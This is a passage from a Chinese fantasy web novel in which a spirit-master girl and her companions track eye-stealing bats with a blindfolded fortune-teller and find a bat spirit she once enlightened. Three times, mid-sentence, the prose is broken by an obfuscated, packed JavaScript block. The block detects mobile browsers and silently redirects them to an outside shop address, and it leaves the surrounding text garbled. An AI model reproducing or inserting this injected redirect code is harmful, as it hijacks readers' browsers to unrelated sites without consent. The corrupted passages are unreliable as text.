“哦?不知璇儿还见到了什么?”洛侠似乎很期待乔天璇下一句会说些什么,看着乔天璇的眼中充满了宠溺。 乔天璇“咳咳”两声,学着说书人的语气道:“月光洒落的夜空下,只见一身着深蓝色道服,头戴黑色太极巾的蒙眼道士手持利剑,时而原地‘守株待兔’,哦不,是‘守眼待蝠’,时而飞檐走壁,挥剑砍刺,斩杀无数盗眼蝠,灭绝一切惨叫声和随之而来盗眼蝠的惊叫。最后,蒙眼道士杀入那夜晚漆黑的树林子中,不见踪影!” 洛侠道:“见到了一个斩杀盗眼蝠的蒙眼道士?” 乔天璇道:“没错!” “怪不得昨夜我们听到的惨叫声会一下子全都消失不见,被蝙蝠的叫声取而代之。我还纳闷来着,原来是发生了这样的事情。”祝源恍然大悟。 “真是没见识的书呆子。”花蕊一把将一个包子塞到了身旁的祝源口中。 “唔唔唔唔唔?”祝源被包子堵住了嘴,说不出话来。 “所以师父,你认识那个很厉害的蒙眼道士吗?”乔天璇凑近了洛侠的脸。 洛侠眉头微微一皱,摇了摇头,遗憾道:“为师不认识。” “好吧。”乔天璇并没有很失望,她也料到了洛侠八成不认识那个蒙眼道士。 “那怎么办?”花蕊终于停下了吃东西的嘴,对乔天璇发问。 乔天璇抬头望向了客栈掌柜坐着的位置,道:“我去问问掌柜吧,说不定他知道。” 说罢,乔天璇拿了桌上盘中的一个包子咬了一口,边吃边走向了掌柜。心觉包子里的肉馅儿挺足,心情也变得好了不少。 掌柜见到乔天璇朝自己走了来,连忙笑脸相迎:“不知姑娘找我有何事?” 乔天璇咽下口中嚼着的包子,开门见山道:“掌柜的,昨夜有个蒙眼道士斩杀了客栈这儿的盗眼蝠,不知你可认识那个蒙眼道士?” 掌柜神色一凝,为难道:“姑娘,我一个小小的客栈掌柜,怎会认识什么能够斩杀盗眼蝠的蒙眼道士?” “是嘛,这样啊……”乔天璇眼珠子骨碌一转,又问道:“那普通的道士认识吗?” 掌柜疑惑道:“普通的道士?我想想啊……” 乔天璇继续吃着手中的包子,懒懒散散地看着还在回忆的掌柜,吃了好一会儿,终于把包子给吃完了。 见掌柜老半天都想不到说不出,乔天璇漫不经心道:“绝世高手往往会大隐隐于市,他们通常都会伪装成普通人的样子,或许在掌柜的身边不知道的地方就有隐藏着自身实力的高手呢?他们看起来普普通通,但也不免会有一些疯疯癫癫的。” “我想到了!”掌柜突然大喜。 乔天璇道:“掌柜想到什么了?” 掌柜绘声绘色道:“姑娘,出了客栈之后往左拐直走,在通向集市的路边有一个摆摊算命的人。只是他除了真的算得很准,确实有点本事之外,其余地方一点儿也不像个道士。他身上的衣服陈旧破烂,头发乱糟糟的,脸上脏兮兮的,唯独眼睛炯炯有神。” “呀……听起来也许会是他,多谢掌柜提供线索。”乔天璇对着掌柜笑了笑,转身走向了方才五人坐在一起吃早饭的桌子。 “嘿嘿没事儿。”掌柜乐呵呵的声音从乔天璇身后传来。 乔天璇回到了吃早饭的位置上坐下,跟桌上四人说了方才掌柜描述的那人。 “那我们吃完早饭就去会会他吧。”花蕊吃着一张葱油饼,口齿含糊地说着。 “我也是这么想的。”乔天璇继续喝起了方才没有喝完的小米粥。 陈渊龙碗中的小米粥已经见了底,他用筷子夹着一个包子一口一口吃着,目光在乔天璇和洛侠的身上来回游走。 这时,一个一袭华丽衣衫,双眼蒙着一条白布的青年男子被两个丫鬟一边一个搀扶着走进了客栈中。 乔天璇注意到了那个青年男子,不由得心想他年纪轻轻眼睛就瞎了,一定是被盗眼蝠给抢去了双眼。 青年男子被两个丫鬟搀扶到了乔天璇这桌人旁边的一张空桌坐下。 客栈的伙计连忙赶来,像是看到了熟人一样热情道:“罗公子?肉包子?” 被唤作罗公子的青年男子点头道:“对,来一笼肉包子,再给我来杯水。” “好嘞。”伙计赶紧转身去了后厨。 待罗公子要的水和一笼包子被伙计端了上来后,坐在罗公子两旁的丫鬟一个喂他喝水,另一个喂他吃包子。 喂罗公子喝水的丫鬟轻松许多,她喂了两口之后罗公子就摆手示意她不必再喂了。 看着被另一个丫鬟喂包子吃的罗公子,给罗公子喂水的丫鬟嘟囔道:“这家客栈的包子有这么好吃吗?公子,你都已经被盗眼蝠弄失明了还坚持每日来吃,真是有毅力。” 罗公子无奈一笑,咽下喉中的包子,道:“谁让这家客栈的包子好吃呢?肉多而鲜,是我吃过最好吃的包子了。” 闻言,乔天璇心中有些喜悦。 果然,这家客栈的包子有与自己一样觉得好吃的人。 这让乔天璇有种巧遇了同好的感觉。 只可惜同好瞎了,看不到自己。 给罗公子喂水的丫鬟道:“公子明明可以让人给你买回府去吃的。” 罗公子道:“那包子在回府的路上不就凉了嘛,包子得趁热吃。” 给罗公子喂包子的丫鬟道:“好啦,不说这个了,让公子安心吃早饭吧。” “哦。”给罗公子喂水的丫鬟不情不愿地应了一声。 乔天璇扫了一眼自己这一桌的人,见大家在听到罗公子与他那两个丫鬟的对话之后都吃得愈发沉默了。 不用想都能明白,大家皆在惋惜罗公子的眼睛被盗眼蝠给弄瞎了。 吃过早饭之后,五人出了客栈,左拐直走前往了通向集市的路。 乔天璇重点留意着道路两旁的人,想要快点找到掌柜所说的那个算命道士。 路上的行人不算很多,并不会挡住乔天璇望向道路两旁各种各样摆摊人的目光。 很快,乔天璇就看到了掌柜提到的那个算命道士。 就如掌柜描述的一样,那人的眼睛很有精神,但身上的衣服破旧不堪,头发乱,脸也脏,这让他身旁没有任何敢靠近他的其他摊贩。 乔天璇连忙跑到了算命道士的摊子前。 算命道士见乔天璇向他跑来,当即表情夸张道:“呀!姑娘,不瞒我说,你定是仙女下凡来游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025604|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏人间了!要不要我给你算算你之后的命运会是如何?” 乔天璇笑道:“有劳道长费口舌来夸我了,算命什么的就免了。” “免什么啊?算算!算算!只要十文钱!”算命道士目不转睛地看着乔天璇,给乔天璇一种他一眼能将自己给望到底的感觉,很不自在。 “道长这么早就来摆摊给人算命,难道昨夜斩杀盗眼蝠不累?不打算多休息会儿吗?”乔天璇明目张胆地试探。 顿时,算命道士眼中闪过一丝旁人不易察觉且转瞬即逝的惊讶。 就是他! 乔天璇立马断定眼前这人就是昨夜斩杀盗眼蝠的那个蒙眼道士! “你在说什么啊姑娘?我怎么听不懂呢?姑娘,你是不是不相信我算命是真的能算得很准啊?” 说着,算命道士站起身来,隔着摊子弯腰背手看着乔天璇。 此时,其余四人也走到了算命道士的摊子前。 陈渊龙和洛侠都盯着摊子后面弯腰背手看着乔天璇的算命道士,祝源歪头瞅着算命道士摊子上一个签筒里的各种签子,花蕊则探头瞧着与算命道士对视的乔天璇。 算命道士像是在跟乔天璇说什么重要无比的事情一样:“姑娘啊,我看得出来,你天生灵力,但五岁之前懵懂不会用。而就在五岁那年,你机缘巧合被一名修士点化,如今已经是个能力不俗的灵师了,我没有说错吧?” 乔天璇脑海中当即轰鸣一响。 他是怎么算得出来这些事情的?! 不过这样一来,乔天璇也彻底相信了掌柜对他“真的算得很准,确实有点本事”的评价。 “是,你没说错。”乔天璇点了点头,心中不由得对眼前这位真有点本事在身的算命道士有些佩服。 祝源和花蕊都齐齐望着乔天璇,情不自禁道:“哇,好厉害!” 陈渊龙盯着算命道士的眼神一愣,随之,他的目光落到了乔天璇的身上,仿佛就在此刻,他重新认识了乔天璇一遍。 毕竟陈渊龙并不知道乔天璇六岁之前的事情。 洛侠盯着算命道士的眼中则似有寒光利刃,似是在警告算命道士祸从口出,莫要多言。 算命道士注意到了洛侠的目光,他眯着眼睛上下打量了一番洛侠,却像是看不透他,皱眉道:“你这个人……啧,怎么回事?” “我这个人?我怎么了?”洛侠死死地盯着算命道士。 乔天璇登时被洛侠说的这句话给吓了一跳。 威胁!这绝对是威胁的语气! 乔天璇太熟悉洛侠在极度戒备时说话的语气了,她能明确肯定洛侠不希望这位算命道士擅自给他算命,无论是算过去的还是算未来的。若是可以,乔天璇清楚洛侠甚至希望眼前的这位算命道士立即变成一个哑巴。 既然洛侠不愿意被人算命,那身为洛侠的爱徒,乔天璇自然是要维护师父。 而对乔天璇来说,现在最好的办法就是马上转移算命道士的注意力! “喂,算命的,你既然算得出我小时候的事情,那我也能知道你昨夜斩杀盗眼蝠的事情。”乔天璇在算命道士眼前摆了摆手,认真道:“说起来……你昨夜与今日的反差很大啊,怎么大黑天的就穿着道服,戴着太极巾,如此得体,大白天的反而穿着一身破烂,顶着稻草头呢?对了,蒙眼道士,昨夜你将盗眼蝠都杀尽了吗?” 见乔天璇如此挑明了说,算命道士也不再装傻。他顿了一下,释然一笑,抬手理了理乱七八糟的头发,重新坐了下来,长叹一声:“哈哈,没有啊——” “没有?”乔天璇一时间有些失望。 算命道士道:“我已经连续杀了三晚了,这盗眼蝠很难彻底除尽。” 这次轮到了乔天璇隔着摊子弯腰背手看着算命道士:“我们也在想办法除掉那些害人的盗眼蝠。蒙眼道士,你不是已经知道我是能力不俗的灵师了吗?要不我们联手一起去除掉那些盗眼蝠,如何?” 30. 盗眼蝙蝠(三) “联手?”算命道士似乎有些犹豫。 乔天璇道:“对呀,我想你一定也很想一次性除掉所有的盗眼蝠吧?” “……” 算命道士静静地看了乔天璇片刻,像是下定了什么决心一般道:“行,可以联手,但我要先跟你们说说关于我探查到的关于盗眼蝠的一些事情。这些事情非常重要,你们必须得听。” “但说无妨。” 说罢,乔天璇与其余四人便在算命摊子前认真听起了算命道士最近夜里斩杀盗眼蝠遇到的一些事情。 原来,算命道士的耳力很好,他三天前第一次蒙着眼斩杀盗眼蝠时就听着声音一路追到了盗眼蝠的巢穴外。 算命道士担心躲在巢穴外的自己会引来别的危险,便用法宝暂时隐藏了自己的气息。随后,他听到了巢穴外的一棵树上传来两只鸟精的对话,从中得知巢穴中有一只成精的蝙蝠,它在学会化成人形之后,夜晚总会以人形前往人类住的地方玩。 由于蝙蝠天生视力不好,化成人形之后眼睛也是一片灰暗,眼白发黄,瞳孔略显扩散,毫无光泽,总是被人嘲笑眼睛丑。对此,蝙蝠精感到很生气,便将自己的妖力分了一点给自己那些还未成精化形的蝙蝠同伴,让它们开了灵智,专门去盗取人的眼珠子,然后将这些被同伴盗回来的眼珠子拿来戴到自己的眼中。 算命道士蒙着眼睛,弄不清巢穴是什么样子的,也不敢拆开蒙着眼睛的布条去看,便打算趁白天盗眼蝠睡觉的时候再来一趟。 可当算命道士按着自己的记忆在白天去找巢穴时却发现无论怎么找都找不到夜里追杀盗眼蝠追到的那处地方了。 在这之后,算命道士再次于夜间听着声音追杀盗眼蝠,果然又一次去到了它们的巢穴外。 用法宝隐藏气息不久后,算命道士又听到了巢穴外的一棵树上那两只鸟精的对话。 两只鸟精许是把蝙蝠精当成了乐子,它们观察到蝙蝠精会把同伴从人那里盗来的眼珠子每日换着戴,还会去问人自己的眼睛好不好看。如果人回答说好看,蝙蝠精会很开心,也就不管这个夸自己的人了。可如果被蝙蝠精问的人说它的眼睛不好看,它就会在夜里变回蝙蝠的形态,亲自把那个说自己眼睛不好看的人的眼珠子给盗走,然后回到巢穴给自己换上刚盗来的新眼珠子,紧接着再去问下一个人自己的眼睛好不好看。 突然,算命道士听到巢穴的方向传来了说话声。 两只鸟精立即闭了嘴,静静地听着说话声。 只听那声音在自言自语,说的内容大概是“换好了新的眼珠子,心情特别好”“又要返回人住的的地方去问人自己的眼睛好不好看”这种事情。 算命道士一下子就知道了说话的正是蝙蝠精,当即决定跟着蝙蝠精去看看它是怎么作恶的。 可蝙蝠精飞得奇快,“嗖”一下子就没了踪影,连气息都没有留下,算命道士几乎是在一瞬间就跟丢了。 第三天晚上,也就是昨晚,算命道士又一路听着声音追杀到了巢穴外,照例用法宝暂时隐藏了自己的气息。 可惜昨晚算命道士并没有听到蝙蝠精说话的声音,只听到了巢穴外面的一棵那树上那两只鸟精在聊关于家禽为何甘愿为了一口粮而被困于一隅,丝毫不向往自由的事情。 乔天璇疑惑道:“算命的,你一路都蒙着眼睛,脑子里又怎会有对去往盗眼蝠巢穴的记忆呢?” 算命道士嗤笑一声,道:“我最开始都说过了,我耳力很好,蒙上眼睛之后更是能听得到许多平时听不到的细微声音。我可以根据那些细微声音来原路返回,你就不想想我为何可以蒙着眼睛大晚上的从盗眼蝠巢穴原路返回呢?” “啧……”乔天璇差点气得咬舌头。 这分明就是他故意忽略了没说好吧!刚刚他都没有详细提到他是如何在大晚上蒙着眼睛从蝙蝠巢穴原路返回的事情! 乔天璇没声好气道:“算命的,也许我知道你为何在白天返回的时候会找不到盗眼蝠的巢穴了。按照你的记忆,根据那些细微声音来给我们带路吧,兴许我能有在白天找得到盗眼蝠巢穴的办法。” “你知道我在白天找不到盗眼蝠的巢穴的原因?!”算命道士猛地站起了身。 乔天璇下意识往后退了一步,道:“应该是蝙蝠精用妖力设下了阻挡的结界吧?我也不确定,猜的而已。” 算命道士失望道:“灵师姑娘,若是有结界,我老早就能感觉出来了,还用得着你来猜给我听?” “哎!算命的,你若真的想救人,那就别多废话了,赶紧给我们带路!”乔天璇双手叉腰,直直盯着算命道士:“我猜你也不想看到越来越多的人被盗眼蝠变成瞎子吧?大家对盗眼蝠的恶行无能为力,除了躲之外还是只能躲!而你的救人能力不足,只能眼睁睁地看着大家躲!光凭你自己的能力,你没有办法让大家彻底不用再躲!” “我、我……”算命道士当即愣住。 乔天璇清楚自己说的话对算命道士来说简直是一针见血,一下子就说到了算命道士的心窝子上。 见到算命道士如此反应,乔天璇赶紧火上浇油:“算命的,你若是不赶紧行动,到时候这一带说不定满街都会是瞎子了!你想想看,你即使已经斩杀了那么多的盗眼蝠,却还是一直杀不尽!你一心想要救百姓,却始终都救不了!你焦急吗?你不甘吗?你愤怒吗?你……” “行了行了!我带路,带路!我给你们带路!”算命道士实在是听不下去了,打断乔天璇的话后便开始收摊,边收边道:“你们先跟我回家一趟,然后我就给你们带路去我白天找不到盗眼蝠巢穴。” 乔天璇心中一乐,装模作样好似很感激算命道士一样拱手道:“好,有劳道长了。” “唉……”算命道士收好了摊子,随后推着摊子走在了乔天璇一行人的前面。 一路上,乔天璇看到了十几个用布条蒙着眼睛,被人搀扶着走路的瞎子。 这些瞎子男女老少都有,尤其是一些面容姣好的青年男女,瞎了双眼实在是让人感到惋惜。 乔天璇忍不住走快几步到了算命道士身旁,小声道:“这盗眼蝠的事情是从什么时候开始有的啊?” 算命道士想了想,道:“我也不清楚具体是哪一天,但我大概一年前的时候就有听说过。最初被盗眼蝠盗眼的人只有零星几个,大家便觉得是意外,并没有特别关心这件事情。可就在五天前,被盗眼蝠盗眼的人突然就几十人几百人剧增,我才下定决心要想办法去斩杀盗眼蝠。” “原来如此。”乔天璇明了,猜测道:“依我看,蝙蝠精应该是在向人问自己的新眼睛好不好看时被人给骂狠了,于是大发雷霆,让同伴们不顾一切去疯狂盗眼。” “或许吧。”算命道士点了点头。 “如若真是这样,这个蝙蝠精的心眼未免也太小太毒了些。”花蕊快步走到了乔天璇身旁的另一边。 算命道士瞅了花蕊一眼,叹息道:“终究是没经教化的妖怪嘛,一般来说是完全没有道德观念的,它们往往会觉得怎样做感觉爽便怎样做了,才不会管人眼中的是非对错,也不会觉得自己的心眼又毒又小。再者,若是人不去说蝙蝠精的眼睛丑、难看,即便真的觉得蝙蝠精的眼睛不好看,也睁眼说瞎话,夸其眼睛好看,那不就不会让自己的眼睛遭到灾祸了嘛?” 花蕊开口想要说些什么,可刚开了口却不知该说些什么才好了。 六人一路无话,默默与接下来又遇到的无数名用布条蒙着双眼的瞎子擦身而过。 不多时,乔天璇一行人便跟着算命道士回到了他家。 眼前是一个小小的院子,院内的茅草房子自然也不会大。 五人跟着算命道士走进院内,乔天璇见院内的一小片菜地里种满了半死不活的青菜,调侃道:“道长,你种菜还真是有一手啊。” “多谢夸奖。”算命道士放好了摊子,皮笑肉不笑地看着乔天璇。 “明明种得那么烂,这颗菜我看都已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025605|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经死得不能吃了吧?”花蕊蹲下身子瞅着菜地里的其中一颗菜,满眼嫌弃。 “又不会给你吃。”算命道士迈步走向了院门口,不耐烦道:“还想不想跟我去找我白天找不到的盗眼蝠巢穴了?” “想,带路。”乔天璇立即跟到了算命道士的身后。 算命道士出了院子之后便用黑色布条蒙住了自己的双眼,靠听声音一步一步走进了一片山林之中。 乔天璇发现算命道士的耳朵时不时就会动一下,似极了猫狗之类能动的耳朵。 山林中除了有树,还生长着许多高矮不一的竹子。若是有风拂来,有的竹子就会发出“劈里啪啦”的生长声。 不一会儿,身边的竹子声越来越少,取而代之的是大片蒹葭晃动时发出的声音。 乔天璇朝蒹葭望去,看到蒹葭周围有许多大小不一的水潭,皆是清澈见底,水中的鱼皆若空游无所依[1]。 大家继续随着算命道士往林中深处走去。 前方的山石峭壁越来越多,许多参天大树的树荫把山林变得昏暗无比。 若非不久前才吃过早饭,乔天璇都要误以为是不是走着走着已经走到傍晚了。 路越走越暗,身边的虫鸣声也越来越大。 乔天璇忍不住跑到了算命道士身前的一处位置,看着蒙眼的他顺着声音前行的动作。 要是算命道士走着走着超过了乔天璇所站的位置,乔天璇就再次跑到算命道士身前的一处位置等着。 但若算命道士走着走着改变了方向,乔天璇就赶紧快步跑向算命道士,跟了几步之后再次跑到命道士身前的一处位置,等着算命道士超过自己所站的位置。 花蕊一开始只是看着乔天璇这么干,到了后来,她也跟着乔天璇一起这样干。不为别的,只为好玩。 祝源在看到花蕊跟着乔天璇这样干时有一瞬间的惊慌,但他大概是想到先这么干的人是一位灵师,便也放下了心来。 对此,洛侠只是微微笑着,并无劝阻。 而陈渊龙的脸上就有些许担忧之色了。他脚下的步子不由得加快了不少,几乎与带路的算命道士走在同一排了。 算命道士就这么一步一步走着。有的步子会有的犹豫,有的步子十分坚定。 也不知究竟走了多久,算命道士突然停下了脚步。 在算命道士前面一处位置等着的乔天璇和花蕊脸上的表情皆是一凝。 “到了。” 说罢,算命道士取下了蒙着自己双眼的黑布条。 乔天璇四下张望了一下,见这处除了有许多大大小小形状怪异的石头之外,并无一只蝙蝠的身影。 “就是这儿?”乔天璇满眼失望。 算命道士一脸“早知如此”的表情道:“我都说了我白天就算按照声音记忆原路返回也找不到盗眼蝠的巢穴。你们不信邪,偏要我给你们带路来。” 花蕊道:“可蝙蝠都是晚上活动,白天睡觉,晚上来岂不是等于主动来给它们送眼珠子?” “等、等等!不对劲。”乔天璇突然感觉浑身寒毛倒竖。 花蕊好奇道:“怎么了?” 乔天璇闭眼仔细感受了一下,顿时心跳都快了一拍。 “如何?”算命道士见乔天璇不可置信地睁开了双眼,忍不住向她发问。 乔天璇平复了一下心绪,强装镇定道:“我并没有来过这里,可这里……却飘散着一丝属于我的灵力。” 此话一出,其余五人的神色都不安了起来。 祝源更是吓得不由得抬起一只手捂住了自己的嘴巴。 乔天璇这话的意思就跟“一个人在第一次去到的地方突然发现了自己并不知道自己体内已经丢失了的一颗肾脏”相似,着实是令人感到胆寒又惊疑。 洛侠当即快步来到了乔天璇的身旁守着,面色十分凝重。 陈渊龙也紧随其后赶到了乔天璇的身前,眼神忐忑地关心道:“你还好吗?可有不适?” 31. 盗眼蝙蝠(四) 乔天璇摇了摇头,道:“无事,我只是奇怪此处为何会飘散着属于我的一丝灵力,我明明是第一次来这儿。” 花蕊愣在乔天璇的身旁,呆呆地看着乔天璇。 算命道士一时间也不知该说些什么才好。 一阵沉默之后,周围大大小小奇形怪状的石头突然开始抖动了起来,并且这种抖动越来越剧烈。 “怎么回事?”祝源紧张地往四周张望着,十分害怕。 乔天璇心中一沉,猛地看向了算命道士,大喊:“道长!快用你那法宝把除了我以外的人的气息都给暂时隐藏起来!” “啊?”算命道士怔了一下。 “那你呢?!”陈渊龙满眼不可置信。 洛侠不安道:“简直胡闹!” “不行!不可以!”花蕊对乔天璇连连摇头。 “这里飘散着的是我的一丝灵力,我对我的灵力能够如何攻击人清楚得很!”乔天璇盯着算命道士,再次催促:“道长,不听灵师说的话可是会出人命的!” “……” “……也罢”算命道士终于不再犹豫,连忙跑向了乔天璇。 跟在算命道士身后的祝源慌忙紧随算命道士跑来。 乔天璇立即往后退了三大步,离远了身前的五人。 与此同时,已经来到了五人身旁的算命道士从怀中掏出一个发着蓝光,直径差不多有碗口大小的圆环托在手中,另一只手掐诀道:“隐!” 蓝光圆环当即飞于五人头上,变幻至可以同时罩着底下五人的大小之后即刻隐去。 一瞬间,除了乔天璇,其余人的气息皆被法宝暂时隐藏了起来。 陈渊龙和洛侠看起来像是还想跟乔天璇说些什么,但下一刻,周围剧烈抖动着的大大小小奇形怪状的石头突然全都移动了起来。 这些石头的移动速度虽然并不算快,但足够让人被吓一跳了。 看着眼前不断移动着的石头,乔天璇注意到这些石头似乎在逐渐组成一个什么东西。 不多时,移动的石头全都停了下来。 随之,众人眼前出现了一个由无数石头组成的酷似阴阳太极图的石头阵。 紧接着,乔天璇感觉到此地飘散着的属于自己的那一丝灵力飞入了酷似阴阳太极图的石头阵阳的部分中唯一阴的那一处。 不等乔天璇上前去瞧明白到底是怎么一回事,本就昏暗的林子像是突然一下陷入了黑暗深渊一样,伸手不见五指。 花蕊惊道:“天黑了?” 祝源更是带上了哭腔:“我什么都看不到了啊!” 洛侠焦急地大喊:“徒儿!” 陈渊龙慌张道:“你在哪?!” “我没事,就在你们旁边。”乔天璇心中稍微放松了有些许。 她原本还以为灵力会攻击人,没想到灵力汇入到了一个阵法当中,并未伤人。 “唰!” 火焰声响,乔天璇手掌心中燃起了一团小小的灵火。 有了火光,乔天璇照了照周围的一切,却发现众人此刻已经不在方才的地方,而是身处一个黑暗无光的石洞当中,顶上还挂着不少滴着水珠的钟乳石。 顺着灵火的火光看到了乔天璇在哪儿,陈渊龙和洛侠都松了一口气。 “这是哪里啊?”花蕊疑惑地张望着。 算命道士严肃道:“或许是盗眼蝠的巢穴。” “喂,你之前白天来这里时没有发生过这样的情况吗?”乔天璇托着灵火看向了算命道士,脸被红红黄黄的火光映衬着。 算命道士摇了摇头,道:“没有,我来的时候石头完全没有动过,更别说发生现在这样的情况了。” “这样嘛……”乔天璇不再看算命道士,转身看向了前方的一片漆黑。 “嘀嗒……” “嘀嗒……” “嘀嗒……” 从钟乳石上滑落滴下的水珠在没有人的交谈声后显得愈发大声。 此时,算命道士那用来隐藏气息的法宝已然发力,乔天璇只能听得到自己的呼吸声,完全听不到其余五人的呼吸声。 实话实说,这处石洞黑得令乔天璇有点心慌。尤其是当乔天璇在发现自己的灵火无法照亮以自己为中心距离自己三尺之外的地方时,心不由得紧了一紧。 如此一来,她就没办法看到三尺之外会有些什么,只能一直保持着高度警惕才行了。 就在乔天璇小心翼翼往前探了还不到十步之时,她手掌心中的灵火忽地照到了前方的一个人形身影。 乔天璇的心猛然跳快,当即顿住了脚步。 眼前的是一个距离乔天璇刚到三尺远的人形身影,灵火堪堪照到他裸着的上身。 他的皮肤呈浅褐色,一块一块起伏的肌肉上还有残留的水渍。他胸前的两块胸肌壮硕得惊人,披散着的乌黑长发垂落了些许在肩膀和胸前。 “原来是你,恩人。” 那人说着,朝乔天璇走近了两步,全身都步入了灵火的火光所能照到范围内。 这一下,乔天璇距离眼前的人更近了,也看得更加清楚了。 此人下身穿着一条破破烂烂的黑裤子,充当裤腰带束着裤子的是一根黄绿色的藤条,脚上穿着一双看起来已经快要散架了的草鞋。 再看此人的脸,除了眼睛的眼白有些发黄,瞳孔扩散,其余地方倒是生得俊逸清秀。只要他能闭起眼睛,一切就都完美了。 此人又道:“恩人,你还记得我吗?我是黑毛啊,名字还是你给我取的呢!真没想到我们还能再相见,真是有缘分!” “黑毛?你是……黑毛?!”乔天璇快速回忆着,看着黑毛的双眼忽地瞪大。 她想起来了,去年三侠行客一起出岛追回镇玉的途中,她的确给一只妖取过名。 当时,乔天璇、花蕊、祝怀风三人傍晚路过一处草丛时,看到了一只蝙蝠在草地上艰难地爬行。 出于好奇,乔天璇仔细多看了一眼,发现这蝙蝠展着双翼,翅膀受了点伤,暂时飞不起来了。 “要不救救它吧?它好可怜啊……你看,它好像很痛的样子哎,若是再不快点飞起来,它怕是就会被别的动物给叼走吃掉的!灵师的灵力不是也能用来治愈伤口的吗?救救它嘛……”花蕊也发现蝙蝠的翅膀受了伤,她拉了拉乔天璇的衣袖,祈望乔天璇能够施以援手。 乔天璇本不打算耗费灵力去救路边一只素不相识的普通蝙蝠,她向来不做没钱收或者没有什么其它收益的事情。可当她见到花蕊看着自己那乞求神明般的眼神,心不由得一软。 算了,既然花蕊想要救,那就救吧。谁让花蕊是自己最好的朋友呢?就当是替花蕊救的了。 乔天璇伸手一指草地上那只受伤的蝙蝠,她的灵力便顷刻完全覆盖了蝙蝠受伤的翅膀。 “呜呜呜呜呜哇哇哇哇哇啊啊啊呜呜呜……” 听到这悲伤痛苦的哭声,三人都顺着哭声传来的方向转头望了过去,见到不远处的一家酒馆门前有一个落泪男子,哭得稀里哗啦。 花蕊看那男子哭得可怜,便上前去询问他哭的原因。 落泪男子道:“我想了三天三夜才写好的情书,可我实在是害羞,我不敢、不敢去送给我喜爱的姑娘啊!” 花蕊道:“既然喜爱,那就勇敢去追!你情书都已经写了,那就勇敢去送!” 落泪男子道:“我害羞,我、我真的不敢啊……” 花蕊蹲了下来,歪头瞧着落泪男子,不解道:“男子汉大丈夫,害什么羞啊?害羞这种事情应该由被你喜爱的姑娘来做才对吧?” “男、男的也会害羞的……呜呜呜呜呜男的真的也会害、害羞的呜呜呜呜呜……”落泪男子依旧哭个不停。 祝怀风看了看身旁这会儿已经停止了给受伤蝙蝠输送灵力且转头望向了花蕊和落泪男子的乔天璇,叹了口气,快步走向了落泪男子,蹲到了他的身旁,道:“兄台,你害羞,我可以理解。但你若是已经写好了情书,那就证明你一开始就有给你喜爱的姑娘送情书的打算。情书写好了不去送,姑娘便不知道你对她的心意,你还浪费了许多时间与精力,到头来不过是自己在跟自己过不去。” 落泪男子抬头望向了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025606|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝怀风,抽泣道:“那我该怎么办?有什么办法可以在我把我写给她的情书亲手送到她手里的同时,我又不出现在她的面前?我真的、真的好害羞呜呜呜呜呜……” 花蕊道:“傻子,你蒙着面装成送东西的人去给她送不就行了?这样她就看不到送情书的人是你了,而且你还是亲手给她送的情书。” 落泪男子道:“不行不行不行!那样我即使是蒙了面,也还是在她的面前啊!” 花蕊无奈道:“你这人的脑筋怎么会这么死啊!对方看不到,对方不知道不就好了嘛。” 落泪男子道:“不行,不行啊……我、我害羞啊……” 祝怀风语重心长道:“兄台,你一直这般害羞可不成啊,而且你所说的‘在你把你写给她的情书亲手送到她手里的同时,你又不出现在她的面前’这件事情根本就是不可能实现的。你要是真想亲手把情书送给她,那就一定要克服害羞!” 落泪男子低下头抹了抹眼泪,似乎是在认真思索着。 可紧接着,落泪男子还是绝望道:“不行!还是不行!我害羞!” 花蕊惆怅地对落泪男子伸出了两根手指,道:“那就只好二选一咯,一是你请别人替你给她送你写给她的情书,二是你请我们给她送你写给她的情书。” 落泪男子抬头看了一眼蹲在自己身前的花蕊,又看了一眼蹲在自己身旁的祝怀风,艰难道:“……不行,让人替我给她送我写给她的情书,我还是……害羞。” “原来你觉得连人都不行啊?”花蕊猛地站起身来,居高临下看着落泪男子,道:“那就没办法了,既然人不行,就只能让动物来替你送了。” “哎?”祝怀风惊疑地抬头望着花蕊,有些惊诧她的关注点居然是这个。 “这……呜呜呜呜呜行、行吧。”落泪男子似乎对花蕊的提议妥协了,哽咽不止。 还在蝙蝠身旁站着的乔天璇忍不住感叹:“真是个怕羞的男子。” “恩人?恩人?也许我可以帮忙。” 一个陌生的声音突然从乔天璇的身旁传来。 乔天璇慌忙转头看去,见到方才被自己用灵力救治的蝙蝠居然被自己的那一丝灵力给点化成精了,此刻已然变成了化成人形的蝙蝠精。 “不是吧?你就这么成精了?!”乔天璇忍不住往后退了一步。 